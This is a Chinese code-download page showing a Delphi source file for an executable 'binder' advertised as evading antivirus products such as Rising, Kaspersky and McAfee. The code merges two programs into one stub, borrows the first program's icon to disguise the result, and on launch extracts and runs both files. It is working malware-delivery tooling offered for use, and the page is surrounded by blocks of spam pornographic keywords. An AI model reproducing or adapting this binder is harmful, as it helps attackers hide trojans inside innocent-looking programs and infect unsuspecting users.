亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? unit1.pas

?? EXE免殺捆綁器過瑞星過卡巴金山麥咖啡瑞星等殺毒軟件
?? PAS
字號:
{**********************************************************************
authors :sjctheworld
e_mail:sjctheworld@sohu.com
copyright:2003--2004
self file icon start address 436224
icon file start address 126 size 640
self file spare size 13032
***********************************************************************}
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, ExtCtrls, Grids,ShellAPI;

type
  TForm1 = class(TForm)
    Panel2: TPanel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Panel1: TPanel;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    GroupBox1: TGroupBox;
    SpeedButton3: TSpeedButton;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Timer1: TTimer;
    procedure Button3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Panel2DblClick(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
    function opendl:string;
    procedure check;
    procedure bindfile;
    procedure unbindfile;
    function mystring(var Buffer1):string;
    function getwinpath:string;
    procedure creatproc(filename:string);
  public
    { Public declarations }
  end;
const
mysize=436224;
var
  Form1: TForm1;
  //
  oldheight,newheight:integer;
  errmsg:string;
  checkvar:boolean;
  Buffer: Array[0..20] of Char;
implementation

{$R *.DFM}


procedure TForm1.Button3Click(Sender: TObject);
begin
  close;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  m_self,file_self:TMemoryStream;
begin
   form1.Top:=(screen.Height-form1.Height) div 2;
   form1.Left:=(screen.Width-form1.Width) div 2;
  //
  oldheight:=form1.ClientHeight;
  newheight:=form1.ClientHeight+panel2.ClientHeight;
  form1.AutoSize:=true;
  //get self file
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);
  m_self:=TMemoryStream.Create;
  m_self.LoadFromStream(file_self);
  // mysize
  if m_self.Size>mysize then
  begin
   ///application.ShowMainForm:=false;
   unbindfile;
   exit;
  end;
  file_self.Free;
  m_self.Free;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
i:integer;
begin
 if button2.Caption='&About' then
  begin
   panel2.Visible:=true;
   for i:=ClientHeight to newheight do
    begin
     form1.ClientHeight:=i;
     update;
    end;
    button2.Caption:='&Restore';
  end
  else
  begin
    panel2.Visible:=false;
    form1.ClientHeight:=oldheight;
    button2.Caption:='&About';
    timer1.Enabled:=false;
  end;
end;

procedure TForm1.Panel2DblClick(Sender: TObject);
begin
   timer1.Enabled:=true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
   if label3.Top < 0 then
   begin
     label3.Visible:=false;
     label3.top:=panel2.top-60;
   end
   else
   begin
     label3.Visible:=true;
     label3.top:=label3.top-2;
   end;
//
     if label4.Top < 0 then
   begin
     label4.Visible:=false;
     label4.top:=panel2.top-60;
   end
   else
   begin
     label4.Visible:=true;
     label4.top:=label4.top-2;
   end;
   //
        if label5.Top < 0 then
   begin
     label5.Visible:=false;
     label5.top:=panel2.top-60;
   end
   else
   begin
     label5.Visible:=true;
     label5.top:=label5.top-2;
   end;
   //
        if label6.Top < 0 then
   begin
     label6.Visible:=false;
     label6.top:=panel2.top-60;
   end
   else
   begin
     label6.Visible:=true;
     label6.top:=label6.top-2;
   end;
end;

procedure TForm1.check;
begin
  checkvar:=true;
  if edit1.Text='' then begin
  errmsg:='Source File Path Can Not Empty!'+#13;
  checkvar:=false;
  end;
  if edit2.Text='' then begin
  errmsg:=errmsg+'Destination File Path Can Not Empty!'+#13;
  checkvar:=false;
  end;
  if edit3.Text='' then begin
  errmsg:=errmsg+'Fnally File Path Can Not Empty!';
  checkvar:=false;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
//var i:integer;
begin
  check;
  if checkvar=false then
  begin
  MessageDlg(errmsg, mtInformation,[mbOk], 0);
  errmsg:='';
  //checkvar:=true;
  end
  else
  begin
  //bing function
  bindfile;
  end;
end;

procedure TForm1.bindfile;
var
  m_icon,m_self,m_sour,m_dest,m_fnally:TMemoryStream;
  file_self,file_sour,file_dest: TMemoryStream;
  sIcon:TIcon;
  temp:integer;
  my_count:string;
begin
  //get self file
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);
  //get source file
  file_sour:=TMemoryStream.Create;
  file_sour.LoadFromFile(edit1.Text);
  //get destination file
  file_dest:=TMemoryStream.Create;
  file_dest.LoadFromFile(edit2.Text);
  //get source file icon
  sIcon:=TIcon.Create;
  sIcon.Handle:=ExtractIcon(Handle,PChar(edit1.Text),0);
  //begin bind file
  if sIcon.handle<>0 then
    begin
      m_icon:=TMemoryStream.Create;
      m_self:=TMemoryStream.Create;
      m_sour:=TMemoryStream.Create;
      m_dest:=TMemoryStream.Create;
      m_fnally:=TMemoryStream.Create;
      sIcon.SaveToStream(m_icon);
      //sIcon.SaveToFile('test.ico');
      m_self.LoadFromStream(file_self);
      m_sour.LoadFromStream(file_sour);
      m_dest.LoadFromStream(file_dest);
      //chang icon
      temp:=m_self.Size-13032-640;
      m_self.Position:=0;
      m_fnally.CopyFrom(m_self,temp);
      m_icon.Position:=126;
      m_fnally.CopyFrom(m_icon,640);
      m_self.Position:=temp+640;
      m_fnally.CopyFrom(m_self,13032);
      //write sourfile size
      my_count:=inttostr(m_sour.Size);
      StrPCopy(buffer,PChar(my_count));
      m_fnally.Write(buffer,10);
      //bind sourfile
      m_fnally.CopyFrom(m_sour,m_sour.Size);
      //write destfile size
      my_count:=inttostr(m_dest.Size);
      StrPCopy(buffer,PChar(my_count));
      m_fnally.Write(buffer,10);
      //bind destfile
      m_fnally.CopyFrom(m_dest,m_dest.Size);
      //fnally file
      m_fnally.SaveToFile(edit3.Text+'.exe');
      //free
      m_icon.Free;
      m_sour.Free;
      m_dest.Free;
      m_self.Free;
      m_fnally.Free;
    end;
    //free
    file_self.Free;
    file_sour.Free;
    file_dest.Free;
    sIcon.Free;
    MessageDlg('Bind File succeed.', mtInformation,[mbOk], 0);
end;

function TForm1.opendl:string;
begin
 opendialog1.Filter:='Exe file(*.exe)|*.EXE';
 if opendialog1.Execute then
  Result:=opendialog1.FileName;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  edit1.Text:=opendl;
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
  edit2.Text:=opendl;
end;

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
   savedialog1.Filter:='Exe file(*.exe)|*.EXE';
   if savedialog1.Execute then
    edit3.Text:=savedialog1.FileName;
end;

procedure TForm1.unbindfile;
var
  m_self,m_sour,m_dest:TMemoryStream;
  file_self,file_sour,file_dest: TMemoryStream;
  mycount:string;
  i:integer;
  temp:integer;
  y:Cardinal;
begin
  file_self:=tmemorystream.Create;
  file_self.LoadFromFile(application.exename);

  m_self:=TMemoryStream.Create;
  m_self.LoadFromStream(file_self);
  //get source file size
  m_self.Position:=mysize;
  m_self.Read(buffer,10);
  mycount:=mystring(buffer);
  //create soure file
  m_sour:=tmemorystream.Create;
  m_self.Position:=mySize+10;
  m_sour.CopyFrom(m_self,strtoint(mycount));
  m_sour.SaveToFile('11111111111.exe');
  //get destination file size
  temp:=mysize+10+strtoint(mycount);
  m_self.Position:=temp;
  m_self.Read(buffer,10);
  mycount:=mystring(buffer);
  //create destionation file
  m_dest:=tmemorystream.Create;
  m_self.Position:=temp+10;
  m_dest.CopyFrom(m_self,strtoint(mycount));
  m_dest.SaveToFile('22222222222.exe');
  //
  creatproc('11111111111.exe');
  creatproc('22222222222.exe');
  close;
  exitprocess(y);
end;

function Tform1.mystring(var buffer1):string;
var
i:integer;
s:string;
begin
   for i:=0 to strlen(buffer) do
   begin
     s:=s+buffer[i];
   end;
     result:=s;
end;

function TForm1.getwinpath:string;
var
sysdir:array[0..255] of char;
begin
  getwindowsdirectory(sysdir,255);
  result:=sysdir;
end;

procedure Tform1.creatproc(filename:string);
var
  WorkDir:String;
  StartupInfo:TStartupInfo;
  ProcessInfo:TProcessInformation;
  y:Cardinal;
begin
  WorkDir:=ExtractFileDir(Application.ExeName);
  FillChar(StartupInfo,Sizeof(StartupInfo),#0);
  StartupInfo.cb:=Sizeof(StartupInfo);
  StartupInfo.dwFlags:=STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow:=SW_SHOWDEFAULT;
  CreateProcess(nil,
    PChar(FileName),               { pointer to command line string }
    nil,                           { pointer to process security attributes }
    nil,                           { pointer to thread security attributes }
    True,                          { handle inheritance flag }
    CREATE_NEW_CONSOLE or          { creation flags }
    NORMAL_PRIORITY_CLASS,
    nil,                           { pointer to new environment block }
    PChar(WorkDir),                { pointer to current directory name, PChar}
    StartupInfo,                   { pointer to STARTUPINFO }
    ProcessInfo);
    WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    GetExitCodeProcess(ProcessInfo.hProcess,y);
    CloseHandle(ProcessInfo.hProcess);  { to prevent memory leaks }
    CloseHandle(ProcessInfo.hThread);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  { delete tmpfile }
  if FileExists('11111111111.exe') then DeleteFile('11111111111.exe');
  if FileExists('22222222222.exe') then DeleteFile('22222222222.exe');
end;

end.

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩电影免费在线看| 久久99国产乱子伦精品免费| 欧美一区二区黄| 99国产精品一区| 久久精品久久精品| 亚洲一区二区中文在线| 国产亚洲精品福利| 日韩欧美国产不卡| 一本色道久久综合亚洲91| 韩国v欧美v日本v亚洲v| 午夜精品久久久| 亚洲欧美区自拍先锋| 国产欧美日韩综合| 欧美一三区三区四区免费在线看 | 日韩电影一区二区三区四区| 中文欧美字幕免费| 精品国产第一区二区三区观看体验| 欧美专区日韩专区| 不卡视频在线看| 国产大陆a不卡| 狠狠色丁香久久婷婷综合丁香| 亚洲国产成人av网| 亚洲另类在线制服丝袜| 国产精品久久久久久久久免费相片| 欧美成人官网二区| 欧美一级黄色片| 欧美色图免费看| 欧美性色综合网| 91在线视频在线| 91视频xxxx| 色综合久久综合中文综合网| 成人午夜在线播放| 东方aⅴ免费观看久久av| 国产美女精品人人做人人爽| 九九国产精品视频| 极品少妇xxxx偷拍精品少妇| 久久成人av少妇免费| 免费成人在线影院| 久久精品国产77777蜜臀| 免费人成在线不卡| 久久精品二区亚洲w码| 久久精品国产秦先生| 久久99精品一区二区三区| 久久99久久久久久久久久久| 捆绑紧缚一区二区三区视频| 久久成人综合网| 国产福利一区二区三区视频在线| 国产一区二区三区精品欧美日韩一区二区三区| 久久精品国产精品亚洲综合| 国产在线看一区| 成人综合在线观看| 91视频在线看| 欧美日韩国产色站一区二区三区| 欧美精选一区二区| 日韩欧美视频一区| 久久精品一二三| 一区在线观看视频| 亚洲午夜成aⅴ人片| 日本视频免费一区| 国产精品一区久久久久| 成人精品gif动图一区| 色婷婷精品久久二区二区蜜臂av| 欧美网站大全在线观看| 日韩午夜在线观看视频| 国产午夜精品美女毛片视频| 亚洲欧洲精品成人久久奇米网| 一区二区三区精品在线| 日本亚洲免费观看| 成人一二三区视频| 欧美日韩一区在线观看| 日韩欧美国产1| 中文字幕日本乱码精品影院| 亚洲国产精品一区二区尤物区| 免费在线欧美视频| 成人av在线网站| 3d动漫精品啪啪1区2区免费| 久久久亚洲精品石原莉奈| 日本不卡中文字幕| 国产美女视频91| 欧美在线视频不卡| 精品国产网站在线观看| 亚洲欧洲成人自拍| 日本91福利区| 99久久综合色| 日韩精品专区在线影院重磅| 中文字幕一区二区三区四区不卡| 图片区日韩欧美亚洲| 粉嫩aⅴ一区二区三区四区| 欧美日本在线播放| 中文字幕 久热精品 视频在线| 亚洲成精国产精品女| 国产**成人网毛片九色| 在线播放日韩导航| 亚洲欧洲日韩在线| 国内精品伊人久久久久影院对白| 99精品一区二区三区| 精品久久人人做人人爱| 亚洲综合丁香婷婷六月香| 国产风韵犹存在线视精品| 欧美美女一区二区三区| 综合久久综合久久| 激情综合色丁香一区二区| 欧美日韩五月天| 中文字幕一区二区三中文字幕| 久久精品国产**网站演员| 欧美少妇bbb| 亚洲色图视频网| 国产.欧美.日韩| 精品国产一区二区三区av性色| 亚洲国产成人av| 91久久精品国产91性色tv| 国产精品色眯眯| 国产精品一二三区| 日韩欧美一级二级三级| 日日夜夜免费精品视频| 91久久国产综合久久| 亚洲欧美在线另类| 成人免费毛片片v| 久久久久久久久蜜桃| 久88久久88久久久| 日韩欧美国产1| 美女任你摸久久| 精品国产一区a| 秋霞影院一区二区| 欧美精品日韩一本| 舔着乳尖日韩一区| 51精品秘密在线观看| 午夜成人免费视频| 欧美美女一区二区| 天天综合天天做天天综合| 欧美日韩精品专区| 亚洲国产va精品久久久不卡综合| 日本精品视频一区二区| 亚洲欧美另类图片小说| 色婷婷精品大在线视频| 亚洲精品美腿丝袜| 色欧美片视频在线观看| 一个色综合av| 欧美吞精做爰啪啪高潮| 一二三四社区欧美黄| 欧美日韩久久一区二区| 日韩av二区在线播放| 日韩三级视频在线观看| 久久99国内精品| 国产日产欧美精品一区二区三区| 国产成人在线网站| 国产精品成人一区二区艾草 | 韩国成人精品a∨在线观看| 精品粉嫩aⅴ一区二区三区四区| 国产在线精品一区二区夜色 | 欧美一级久久久久久久大片| 美国欧美日韩国产在线播放| 久久久久综合网| 不卡欧美aaaaa| 亚洲男人的天堂在线aⅴ视频| 在线看日韩精品电影| 丝袜诱惑亚洲看片| 精品国产91乱码一区二区三区 | 日本在线不卡视频一二三区| 欧美电视剧免费观看| 国产剧情一区在线| 亚洲欧美中日韩| 欧美高清性hdvideosex| 国产一区二区不卡在线| 亚洲婷婷国产精品电影人久久| 在线观看成人免费视频| 麻豆精品在线看| 国产精品免费看片| 欧美日韩一区二区三区四区五区| 蜜桃视频免费观看一区| 国产精品久久久久久一区二区三区| 在线视频国内自拍亚洲视频| 奇米四色…亚洲| 亚洲欧洲日本在线| 制服丝袜亚洲精品中文字幕| 国产精品99久久久久久宅男| 一区二区三区成人| 精品裸体舞一区二区三区| 972aa.com艺术欧美| 老司机精品视频导航| 亚洲摸摸操操av| 欧美va在线播放| 在线视频一区二区免费| 精品一区二区三区在线观看国产| 亚洲欧美日韩国产一区二区三区 | 一区二区三区91| www国产精品av| 欧美三片在线视频观看| 国产91丝袜在线播放九色| 亚洲国产日韩在线一区模特| 国产午夜精品在线观看| 在线播放视频一区| 91美女在线看| 高清不卡在线观看| 麻豆精品在线看| 午夜精品爽啪视频| 中文字幕视频一区| 精品无码三级在线观看视频| 亚洲一区二区中文在线| 欧美经典一区二区三区|